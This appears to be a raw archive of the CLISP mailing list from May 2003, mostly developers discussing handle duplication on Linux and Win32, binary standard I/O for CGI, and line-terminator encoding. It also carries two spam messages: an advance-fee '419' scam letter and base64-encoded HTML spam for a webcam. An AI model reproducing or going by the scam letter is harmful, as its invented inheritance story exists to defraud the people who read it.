&allow-other-keys) > >> > will make a stream out of OBJECT (a handle, :INPUT, :OUTPUT, :ERROR, or > >> > :IO) with the &key's the same as for OPEN sans :DIRECTION. > >> Cool. But where to get handle in lisp ? > > > linux:open and posix:duplicate-handle. > > Wouldn't it be better to use streams as a source of handles ? I even > have written a function for it already (stream_lend_handle). sure, we can use files too! > Unfortunately, I see no way to duplicate HANDLE in win32. Of course I > can be wrong here, but I have taken a (short) look to dup2 in MS CRT > and found support for this. DuplicateHandle creates new handle and it > is being written into structure referenced by int handle (remaining > the same). Had they been able to duplicate HANDLES they wouldn't have > to do it this way. IMHO... see LISPFUN(duplicate_handle) in pathname.d. is it incorrect? -- Sam Steingold (http://www.podval.org/~sds) running RedHat9 GNU/Linux MS: our tomorrow's software will run on your tomorrow's HW at today's speed. From ampy@ich.dvo.ru Tue May 06 15:52:38 2003 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19DBIO-00062Q-00 for ; Tue, 06 May 2003 15:52:25 -0700 Received: from ppp67-3640.vtc.ru (ppp67-3640.vtc.ru [212.16.216.67]) by vtc.ru (8.12.9/8.12.9) with ESMTP id h46MpfLE032287 for ; Wed, 7 May 2003 09:51:42 +1100 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <62949835.20030507095706@ich.dvo.ru> To: clisp-list@lists.sourceforge.net Subject: Re[4]: [clisp-list] Re: Re[4]: CGI & binary i/o with stdio In-reply-To: References: <27797787.20030504133059@ich.dvo.ru> <1181862858.20030505085659@ich.dvo.ru> <984523093.20030505210555@ich.dvo.ru> <1311633428.20030506081426@ich.dvo.ru> <19720097098.20030507001858@ich.dvo.ru> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue May 6 15:53:07 2003 X-Original-Date: Wed, 7 May 2003 09:57:06 +1000 Hello Sam, Wednesday, May 07, 2003, 12:03:48 AM, you wrote: > see LISPFUN(duplicate_handle) in pathname.d. > is it incorrect? As far as I understand dup and dup2, it works only as dup, but not as dup2 on win32. I.e. one cannot point existing handle to another file, new handle should be allocated. Second parameter is ignored on win32. -- Best regards, Arseny From sds@gnu.org Tue May 06 16:23:16 2003 Received: from pop016pub.verizon.net ([206.46.170.173] helo=pop016.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19DBmG-0007s1-00 for ; Tue, 06 May 2003 16:23:16 -0700 Received: from loiso.podval.org ([68.160.9.251]) by pop016.verizon.net (InterMail vM.5.01.05.33 201-253-122-126-133-20030313) with ESMTP id <20030506232309.SPBY3199.pop016.verizon.net@loiso.podval.org>; Tue, 6 May 2003 18:23:09 -0500 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.8/8.12.8) with ESMTP id h46NNj9u017140; Tue, 6 May 2003 19:23:45 -0400 Received: (from sds@localhost) by loiso.podval.org (8.12.8/8.12.7/Submit) id h46NNWAB017136; Tue, 6 May 2003 19:23:32 -0400 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Arseny Slobodjuck , Marco Baringer Cc: clisp-list@lists.sourceforge.net Subject: Re: Re[4]: [clisp-list] Re: Re[4]: CGI & binary i/o with stdio References: <27797787.20030504133059@ich.dvo.ru> <1181862858.20030505085659@ich.dvo.ru> <984523093.20030505210555@ich.dvo.ru> <1311633428.20030506081426@ich.dvo.ru> <19720097098.20030507001858@ich.dvo.ru> <62949835.20030507095706@ich.dvo.ru> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <62949835.20030507095706@ich.dvo.ru> Message-ID: Lines: 36 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at pop016.verizon.net from [68.160.9.251] at Tue, 6 May 2003 18:23:09 -0500 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue May 6 16:24:05 2003 X-Original-Date: 06 May 2003 19:23:32 -0400 hi Arseny & Marco, > * In message <62949835.20030507095706@ich.dvo.ru> > * On the subject of "Re[4]: [clisp-list] Re: Re[4]: CGI & binary i/o with stdio" > * Sent on Wed, 7 May 2003 09:57:06 +1000 > * Honorable Arseny Slobodjuck writes: > > Wednesday, May 07, 2003, 12:03:48 AM, you wrote: > > > see LISPFUN(duplicate_handle) in pathname.d. > > is it incorrect? > As far as I understand dup and dup2, it works only as dup, but not as > dup2 on win32. I.e. one cannot point existing handle to another file, > new handle should be allocated. Second parameter is ignored on win32. linux: [1]> (posix:duplicate-handle 1) 4 [2]> (posix:duplicate-handle 1) 5 [3]> (posix:duplicate-handle 1 5) 5 [4]> (posix:duplicate-handle 1 7) 7 what do you get on win32? if the second argument is indeed ignored, we are in trouble as far as compatibility goes... -- Sam Steingold (http://www.podval.org/~sds) running RedHat9 GNU/Linux To a Lisp hacker, XML is S-expressions with extra cruft. From lisp-clisp-list@m.gmane.org Tue May 06 16:38:29 2003 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19DC0w-0005JS-00 for ; Tue, 06 May 2003 16:38:26 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19DBzX-0002Gw-00 for ; Wed, 07 May 2003 01:36:59 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19DBzX-0002Gm-00 for ; Wed, 07 May 2003 01:36:59 +0200 From: Sam Steingold Organization: disorganization Lines: 17 Message-ID: References: <27797787.20030504133059@ich.dvo.ru> <1181862858.20030505085659@ich.dvo.ru> <984523093.20030505210555@ich.dvo.ru> Reply-To: sds@gnu.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@main.gmane.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Subject: [clisp-list] Re: Re[4]: CGI & binary i/o with stdio Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue May 6 16:39:06 2003 X-Original-Date: 06 May 2003 19:39:00 -0400 > * In message > * On the subject of "Re: Re[4]: CGI & binary i/o with stdio" > * Sent on 05 May 2003 13:42:43 -0400 > * I write: > > actually, no, we do need :DIRECTION because there is no way to figure > out whether the handle is open for input or output or both. > or is there?! fcntl(fd,F_GETFL) will return that on unix. what is the win32 and amiga (and acorn) analogue? -- Sam Steingold (http://www.podval.org/~sds) running RedHat9 GNU/Linux Stupidity, like virtue, is its own reward. From ampy@ich.dvo.ru Tue May 06 19:33:43 2003 Received: from chemi.ich.dvo.ru ([62.76.7.28]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19DEkG-0002qi-00 for ; Tue, 06 May 2003 19:33:28 -0700 Received: from lorenz ([192.168.81.2]) by chemi.ich.dvo.ru (8.11.6/8.11.6/SuSE Linux 0.5) with ESMTP id h472VmA01426; Wed, 7 May 2003 13:31:48 +1100 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <101382218.20030507133033@ich.dvo.ru> To: Sam Steingold CC: Marco Baringer , clisp-list@lists.sourceforge.net Subject: Re[6]: [clisp-list] Re: Re[4]: CGI & binary i/o with stdio In-reply-To: References: <27797787.20030504133059@ich.dvo.ru> <1181862858.20030505085659@ich.dvo.ru> <984523093.20030505210555@ich.dvo.ru> <1311633428.20030506081426@ich.dvo.ru> <19720097098.20030507001858@ich.dvo.ru> <62949835.20030507095706@ich.dvo.ru> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue May 6 19:34:07 2003 X-Original-Date: Wed, 7 May 2003 13:30:33 +1100 Hi, Wednesday, May 07, 2003, 10:23:32 AM, you wrote: >> > see LISPFUN(duplicate_handle) in pathname.d. >> > is it incorrect? >> As far as I understand dup and dup2, it works only as dup, but not as >> dup2 on win32. I.e. one cannot point existing handle to another file, >> new handle should be allocated. Second parameter is ignored on win32. Sam> linux: [1]>> (posix:duplicate-handle 1) Sam> 4 [2]>> (posix:duplicate-handle 1) Sam> 5 [3]>> (posix:duplicate-handle 1 5) Sam> 5 [4]>> (posix:duplicate-handle 1 7) Sam> 7 Sam> what do you get on win32? Sam> if the second argument is indeed ignored, we are in trouble as far as Sam> compatibility goes... [1]> (posix:duplicate-handle 1) *** - Win32 error 6 (ERROR_INVALID_HANDLE): The handle is invalid. 1. Break [2]> :a [3]> (posix:duplicate-handle 3) 19 [4]> (posix:duplicate-handle 3) 23 [5]> (posix:duplicate-handle 3 7) 27 -- Best regards, Arseny mailto:ampy@ich.dvo.ru From Joerg-Cyril.Hoehle@t-systems.com Wed May 07 00:43:19 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19DJQ8-0004ic-00 for ; Wed, 07 May 2003 00:32:56 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Wed, 7 May 2003 09:20:27 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 7 May 2003 09:20:23 +0200 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE041FB2DB@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] CGI & binary i/o with stdio MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed May 7 00:44:05 2003 X-Original-Date: Wed, 7 May 2003 09:20:21 +0200 Hi, What do you expect to read from the following stream? (ext:make-pipe-io-stream "clisp -x '(describe *standard-output*)(exit)'") I believe sometimes you want interactive mode in the subprocess CLISP (e.g. running inside Emacs), sometimes not (e.g. running as CGI). It all depends on your application. Sam wrote: >some users want to be able to do binary i/o on *standard-input* and >*standard-output* (CGI pretty much requires this). I understand this. >There appears to be no portable way to do this in CLISP. I'm not sure... What I mean is that I think CLISP auto-discovers whether stdin/stdout (or rather fd=0, fd1 and fd2) are interactive streams or not. If they are not interactive, CLISP associates regular file streams with them. One can then (setf stream-element-type) on one of those. (defun main () (unwind-protect (progn (setf (stream-element-type *standard-output*) '(unsigned-byte 8)) (write-byte 123 *standard-output*)) (setf (stream-element-type *standard-output*) 'character))) >clisp -q -i /tmp/foo.lisp -x '(main)(exit)' >/tmp/foo So the question amounts to: should the mechanisms by which clisp discovers whether to use either interactive or file/pipe/socket streams for *standard-in/out-put* be refined? Apparently. If yes, how should they be refined? It looks to me like a command line option would do, since we have a problem with invocation and the external environment, not execution. Of course, another solution path would be not to care about letting the user enter binary mode even on a tty and just have (setf stream-element-type '(unsigned-byte 8)) work on the # object. This would not need another command line option. While this approach may seem more natural at first sight, it breaks internal assumptions about "shall the program use *query-io* interactively?", "can CLISP output a message to stdout and expect a reaction on stdin?", "if CLISP outputs a #\newline, will input be at beginning of line?" or "shall CLISP call clear-input or finish-output in the typical places (like entering a REP loop)?" which a command line option can control. Like /bin/sh/csh and others, it looks like CLISP needs an option to force interactive or non-interactive standard-input/output. This will be much easier to implement portably (it's almost there already) than to try to figure out how to dup filehandles, sockets or whatever on all the supported OSes. This shows how *standard-output* can map to a regular file stream: build> clisp -q -x '(describe *standard-output*)' >/tmp/foo build> cat /tmp/foo # is an output-stream. or, on MS-Windows: # is an output-stream. Regards, Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Wed May 07 01:23:33 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19DKD5-0008Sn-00 for ; Wed, 07 May 2003 01:23:31 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Wed, 7 May 2003 10:18:43 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 7 May 2003 10:18:42 +0200 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE04159633@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Subject: [clisp-list] RFE: convert-string-to-bytes and encoding's :line-terminator Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed May 7 01:24:08 2003 X-Original-Date: Wed, 7 May 2003 10:18:40 +0200 Hi, I'd appreciate a mode where conversion from a Lisp string to bytes = would respect the encoding's :line-terminator. I.e., I could choose = among CR, LF or CRLF being written to byte arrays. Currently, it is ignored (witness ext:convert-string-to-bytes and = impnotes section2 29.4.3 and 13.1.8). Therefore, a single code 10 is = written for #\newline and/or #\return, which only suits UNIX systems, = but neither networking nor other systems. It's is only when writing to = actual files, sockets or pipes that an encoding's :line-terminator is = considered. I find this inconsistent. It also makes some stuff harder at Lisp-level = than necessary, or than in other implementations. Example 1: a tcp wrapper, i.e. a HTTP proxy which I could use to look = at what a web browser sends to a server. I believe people involved in = that area have silently moved away from CLISP to other implementations = (I myself used Python). Example 2: Let's suppose I were to add SSL bindings to CLISP. SSL needs = the following: 1. do a conversion from characters to bytes 2. encrypt these bytes 3. send them over a socket For each it is required that the network protocols be obeyed. This = typically requires use of CRLF as line-terminator in headers (SMTP, = HTTP ...). Currently, an application in CLISP would use the encoding's = :line-terminator on the stream to have the correct CR and/or LF ending = written to the socket. With SSL, this is not possible anymore. So what must the application do with current CLISP? Invoke (POSITION = #\newlin output) to split the output line by line, invoke = ext:convert-string-to-bytes individually on each, then add #x0D/0A = after each. Great, isn't it? Wouldn't (defmethod write-string ((stream ssl-stream) ...) (ssl-cipher-output (the-underlying-socket ssl-stream) (ext:convert-string-to-bytes string ;; how about an alias :network instead of :dos? (stream-external-format stream)))))) be most of what is needed if :line-terminator were used? For FFI purposes, C-STRING still needs an 1:1 encoding. It could be one = where :line-terminator is either :unix (LF) or :mac (CR), or remain = ignored. WITH-FOREIGN-STRING is not limited to 1:1 encodings. It should = follow the redesigned ext:convert-string-to-bytes. BTW, CLISP doesn't export a reader function for the line-terminator = slot. (EXT:encoding-charset is a usable reader for the other slot.) Well, maybe a function separate from ext:convert-string-to-bytes would = be fine with me. That might not internally use the with_string(), = cstombs() and other associated C macros, since I presume iconv() does = not deal with line-termination (otherwise it would be there in CLISP = already). Yet convert-string-to-bytes seems the right place for such a change. "How end of lines are exactly encoded is not really pertinent to the = charset," says the "recode" manual. Yet recode deals with them all. BTW, I'm not talking about input here. I have no problems in 95% of the = situations with CR and/or LF all mapped to #\newline. It is mostly = useful behaviour. Regards, J=F6rg H=F6hle. From jakpogeorge1@ecplaza.net Wed May 07 03:39:52 2003 Received: from panoramix.vasoftware.com ([198.186.202.147]) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19DMKx-0004XF-00 for ; Wed, 07 May 2003 03:39:47 -0700 Received: from [217.78.77.14] (port=1210 helo=afzhg467.com) by panoramix.vasoftware.com with smtp (Exim 4.05-VA-mm1 #1 (Debian)) id 19DMKo-000641-00 for ; Wed, 07 May 2003 03:39:39 -0700 From: "Ken Jonas Savimbi" Reply-To: jakpogeorge@ecplaza.net To: clisp-list@lists.sourceforge.net X-Mailer: Microsoft Outlook Express 5.00.2919.6900 DM MIME-Version: 1.0 Message-Id: Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable X-Spam-Status: No, hits=1.7 required=7.0 tests=DEAR_SOMEBODY,PORN_14,RISK_FREE,SUPERLONG_LINE version=2.21 X-Spam-Level: * Subject: [clisp-list] God bless you as you help me. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed May 7 03:40:09 2003 X-Original-Date: Wed, 7 May 2081 11:43:51 +0200 From=3A Ken Jonas Savimbi Johannesburg South Africa =2E Dear Beloved=2C It is my humble pleasure to write you this letter irrespective of the fact that you do not know me=2E However=2C I got your name through your country business directory here in my search for a reliable and trustworthy person that can assist me confidently=2E My name is Mr=2E Ken Jonas Savimbi=2E I am the son of Late Dr=2E Jonas Savimbi from Angola=2E I am 28 years old and I have got two younger sisters of same blood=2E Our mother died almost a year ago=2E We are all fighting for political asylum in South Africa=2E We cannot find a home in Angola anymore because of the war that our late father fought with the government of Angola until he died in that war=2E The government of Angola is now mad at us because our late father also wanted to be president and caused the people to fight the war for him because he was the president of UNITA political movement of Angola=2E So now we are in South Africa and we are suffering too much because we don't have money and the government of South Africa will not give jobs to asylum seekers=2E I am much concerned about my younger sisters who are finding it very difficult to manage in the situation=2E But I know that we should not suffer this way=2E I know that I must not let my younger sisters get into trouble because of money=2E So after consideration I am hereby begging for your assistance to help me to recover from Canada=2C the sum of USD $24 Million which is my inheritance from my late mother=2E My late mother had taken this money with her to Canada in a diplomatic metal box marked =28Precious Stones=29=2E Subsequently she lodged the metal box =28As precious Stones=29 with a Securities and Valuables Protection company in Canada=2E I am supposed to be the beneficiary in the event of her death=2E However=2C all effort I made to go Canada to claim was refused by the Canadian embassy=2E I have written to the security company in Canada requesting to send the box to South Africa but they said that they can only send it to Switzerland or Thailand where they have correspondent company=2E And this was why it was still possible for me to travel=2E Now I cannot travel anywhere anymore=2E So in the situation that we are facing now=2C I must find somebody who can go to the one of those mentioned Country on my behalf=2E I understand that I will have to transfer my beneficiary rights unto you=2E I am willing to do so in the hope that you are a God fearing person who will not abandon us after you have the money=2E So from the bottom of my heart I am giving you 20% of the all the money=2E Once we have enough to sustain us sufficiently=2C you may be come our fund manager and invest the rest wisely for us=2EI assure you that the business 100% risk free=2E If you will be kind to assist us=2C please inform me urgently=2E Kind regards to you and your family=2E Sincerely=2C Ken Jonas savimbi From chrisepje@yahoo.com Wed May 07 12:18:55 2003 Received: from 0x50c62d63.kd4nxx3.adsl-dhcp.tele.dk ([80.198.45.99] helo=yahoo.com ident=hell) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19DUR4-0002Cv-00; Wed, 07 May 2003 12:18:39 -0700 Message-ID: <000010d4ba01$ccd16855$48855573@jvtytto.jsc> From: To: Cc: , MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_00D3_85E03A4C.B6387D68" X-Priority: 3 X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal Subject: [clisp-list] Digital Camera and WebCam 0636m-5 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed May 7 12:19:24 2003 X-Original-Date: Wed, 07 May 2003 21:55:08 -0300 ------=_NextPart_000_00D3_85E03A4C.B6387D68 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: base64 PGZvbnQgY29sb3I9IiNmZmZmZmYiPlNvIGhvdyBhcmUgdGhpbmdzIGdvaW5n Lg0KNDM1MTA2NjYzODc2NzE3ODgyMzI4MzQxMjg0ODczMTg3NDc2NzIxNzcx NTEyMzQ3ODE3NjdncnVKYW1FdGdRbHhHYUZ4MWx1aEg3bUJ4NUw3eTRncTZh WE04U21lNVgwNnlGUXhNTWtVMldqRDM2N0RYMHNiTnI8L2ZvbnQ+DQo8IS0t IHNhdmVkIGZyb20gdXJsPSgwMDIyKWh0dHA6Ly9pbnRlcm5ldC5lLW1haWwg LS0+DQo8aHRtbD4NCg0KPGhlYWQ+DQo8bWV0YSBuYW1lPSJHRU5FUkFUT1Ii IGNvbnRlbnQ9Ik1pY3Jvc29mdCBGcm9udFBhZ2UgNS4wIj4NCjxtZXRhIG5h bWU9IlByb2dJZCIgY29udGVudD0iRnJvbnRQYWdlLkVkaXRvci5Eb2N1bWVu dCI+DQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9 InRleHQvaHRtbDsgY2hhcnNldD13aW5kb3dzLTEyNTIiPg0KPHRpdGxlPiBN aW5pIERpZ2l0YWwgQ2FtZXJhIGFuZCBXZWJDYW0gPC90aXRsZT4NCjwvaGVh ZD4NCg0KPGJvZHk+DQo8QlI+DQo8Zm9udCBjb2xvcj0iI2ZmZmZmZiI+MDUz OXNLbVA2LTg0NlJsMTM8L2ZvbnQ+DQo8QlI+DQo8dGFibGUgY2VsbFNwYWNp bmc9IjAiIGNlbGxQYWRkaW5nPSIyIiB3aWR0aD0iNTYyIiBib3JkZXI9IjAi Pg0KICA8dHI+DQogICAgPHRkIGFsaWduPSJtaWRkbGUiIGNvbFNwYW49IjIi Pg0KICAgIDxmb250IGZhY2U9IlZlcmRhbmEsIEFyaWFsLCBIZWx2ZXRpY2Es IHNhbnMtc2VyaWYiIGNvbG9yPSIjMDAwMGNjIiBzaXplPSI0Ij4NCiAgICA8 Yj5UaGU8ZjB1dT4gVzx5MjkzPm9ybGQncyBTPGJnY3U+bWFsbGU8cTA5Mz5z dCBEaWdpdGFsIENhPGkyYzQ+bWU8aG52OT5yYQ0KICAgIGFuZCBXZWJjYW08 bmo2dD4hPC9uajZ0PjwvaG52OT48L2kyYzQ+PC9xMDkzPjwvYmdjdT48L3ky OTM+PC9mMHV1PjwvYj48aG52OT48aTJjND48cTA5Mz48YmdjdT48eTI5Mz48 ZjB1dT48bmo2dD48YnI+DQogICAgPGJyPg0KICAgIDx3ZTlsPg0KICAgIDxt MWZvPjxmb250IGNvbG9yPSIjMDAzMzk5Ij5TbWFsPGZxMDA+bA0KICAgIDxz c2E0PkVub3VnaCB0PGE3MXg+bw0KICAgIDxhNDZrPkZpdCBvbg0KICAgIDxt ZjYzPmEgSzxnaDU0PmV5YzxmcjM3PjxnMjU3PmhhaTxoMHU0Pm4uLi48bDgw bD48YTAzYT4gQmlnIEVuPGpqeWE+b3U8eTQ2eD5naA0KICAgIHRvIFQ8YjI0 bT5ha2UNCiAgICA8YXI2bT5IaWdoLVF1YWxpdHkgRGlnPHhiOTI+PHoyYzI+ PGc3cTA+aTxpcTUxPnRhbDxsOTcwPiBQaDxkMzZuPjxpMzkwPm90PG9tOWg+ bzxvdXloPjxhbTR6PnMNCiAgICBhbmQ8bmlkMz48czU2aj4gQWN0DQogICAg PGljM2g+YXMNCiAgICA8ZjIxdj5hDQogICAgPGNkaTU+RnU8bzhjeT5sbC1N b3Q8aTMybz5pb24NCiAgICA8a2Y5dj5XPG9rejU+PGp6Y2E+ZWJjPHQwNnU+ YTxzN3E1PjxhZ2wxPm0hPGU4NDA+PGJyPg0KICAgIDx1bzByPjwvdW8wcj4N CiAgICA8L2U4NDA+DQogICAgPC9hZ2wxPg0KICAgIDwvczdxNT4NCiAgICA8 L3QwNnU+DQogICAgPC9qemNhPg0KICAgIDwvb2t6NT4NCiAgICA8L2tmOXY+ DQogICAgPC9pMzJvPg0KICAgIDwvbzhjeT4NCiAgICA8L2NkaTU+DQogICAg PC9mMjF2Pg0KICAgIDwvaWMzaD4NCiAgICA8L3M1Nmo+DQogICAgPC9uaWQz Pg0KICAgIDwvYW00ej4NCiAgICA8L291eWg+DQogICAgPC9vbTloPg0KICAg IDwvaTM5MD4NCiAgICA8L2QzNm4+DQogICAgPC9sOTcwPg0KICAgIDwvaXE1 MT4NCiAgICA8L2c3cTA+DQogICAgPC96MmMyPg0KICAgIDwveGI5Mj4NCiAg ICA8L2FyNm0+DQogICAgPC9iMjRtPg0KICAgIDwveTQ2eD4NCiAgICA8L2pq eWE+DQogICAgPC9hMDNhPg0KICAgIDwvbDgwbD4NCiAgICA8L2gwdTQ+DQog ICAgPC9nMjU3Pg0KICAgIDwvZnIzNz4NCiAgICA8L2doNTQ+DQogICAgPC9t ZjYzPg0KICAgIDwvYTQ2az4NCiAgICA8L2E3MXg+DQogICAgPC9zc2E0Pg0K ICAgIDwvZnEwMD4NCiAgICA8L2ZvbnQ+PC9tMWZvPg0KICAgIDwvd2U5bD4N CiAgICA8L25qNnQ+DQogICAgPC9mMHV1Pg0KICAgIDwveTI5Mz4NCiAgICA8 L2JnY3U+DQogICAgPC9xMDkzPg0KICAgIDwvaTJjND4NCiAgICA8L2hudjk+ DQogICAgPC9mb250Pg0KICAgIDxobnY5Pg0KICAgIDxpMmM0Pg0KICAgIDxx MDkzPg0KICAgIDxiZ2N1Pg0KICAgIDx5MjkzPg0KICAgIDxmMHV1Pg0KICAg IDx3ZTlsPg0KICAgIDxmcjM3Pg0KICAgIDxsODBsPg0KICAgIDx4YjkyPg0K ICAgIDx6MmMyPg0KICAgIDxkMzZuPg0KICAgIDxvdXloPg0KICAgIDxuaWQz Pg0KICAgIDxva3o1Pg0KICAgIDxzN3E1Pg0KICAgIDx1bzByPg0KICAgIDxl ODQwPg0KICAgIDxhZ2wxPg0KICAgIDx0MDZ1Pg0KICAgIDxqemNhPg0KICAg IDxrZjl2Pg0KICAgIDxpMzJvPg0KICAgIDxvOGN5Pg0KICAgIDxjZGk1Pg0K ICAgIDxmMjF2Pg0KICAgIDxpYzNoPg0KICAgIDxzNTZqPg0KICAgIDxhbTR6 Pg0KICAgIDxvbTloPg0KICAgIDxpMzkwPg0KICAgIDxsOTcwPg0KICAgIDxp cTUxPg0KICAgIDxnN3EwPg0KICAgIDxhcjZtPg0KICAgIDxiMjRtPg0KICAg IDx5NDZ4Pg0KICAgIDxqanlhPg0KICAgIDxhMDNhPg0KICAgIDxoMHU0Pg0K ICAgIDxnMjU3Pg0KICAgIDxnaDU0Pg0KICAgIDxtZjYzPg0KICAgIDxhNDZr Pg0KICAgIDxhNzF4Pg0KICAgIDxzc2E0Pg0KICAgIDxmcTAwPg0KICAgIDxt MWZvPg0KICAgIDxuajZ0Pjxicj4NCiAgICA8dTMzMT48Zm9udCBjb2xvcj0i I2ZmMDAwMCIgc2l6ZT0iNSI+PGI+T25seSAkPGc5OTI+NTkuOTx1MHh6Pjk8 cTk4cz4gZm9yIGENCiAgICBsPGVieW4+aW1pdGVkIHRpbWU8L2VieW4+PC9x OThzPjwvdTB4ej48L2c5OTI+PC9iPjxxOThzPjx1MHh6PjxnOTkyPjxlYnlu Pjxicj4NCiAgICA8L2VieW4+DQogICAgPC9nOTkyPg0KICAgIDwvdTB4ej4N CiAgICA8L3E5OHM+DQogICAgPC9mb250Pg0KICAgIDxxOThzPg0KICAgIDx1 MHh6Pg0KICAgIDxnOTkyPg0KICAgIDxlYnluPg0KICAgIDxjN3o0Pjxicj4N CiZuYnNwOzx6M21mIC8+PC9jN3o0PjwvZWJ5bj48L2c5OTI+PC91MHh6Pjwv cTk4cz48L3UzMzE+PC9uajZ0PjwvbTFmbz48L2ZxMDA+PC9zc2E0PjwvYTcx eD48L2E0Nms+PC9tZjYzPjwvZ2g1ND48L2cyNTc+PC9oMHU0PjwvYTAzYT48 L2pqeWE+PC95NDZ4PjwvYjI0bT48L2FyNm0+PC9nN3EwPjwvaXE1MT48L2w5 NzA+PC9pMzkwPjwvb205aD48L2FtNHo+PC9zNTZqPjwvaWMzaD48L2YyMXY+ 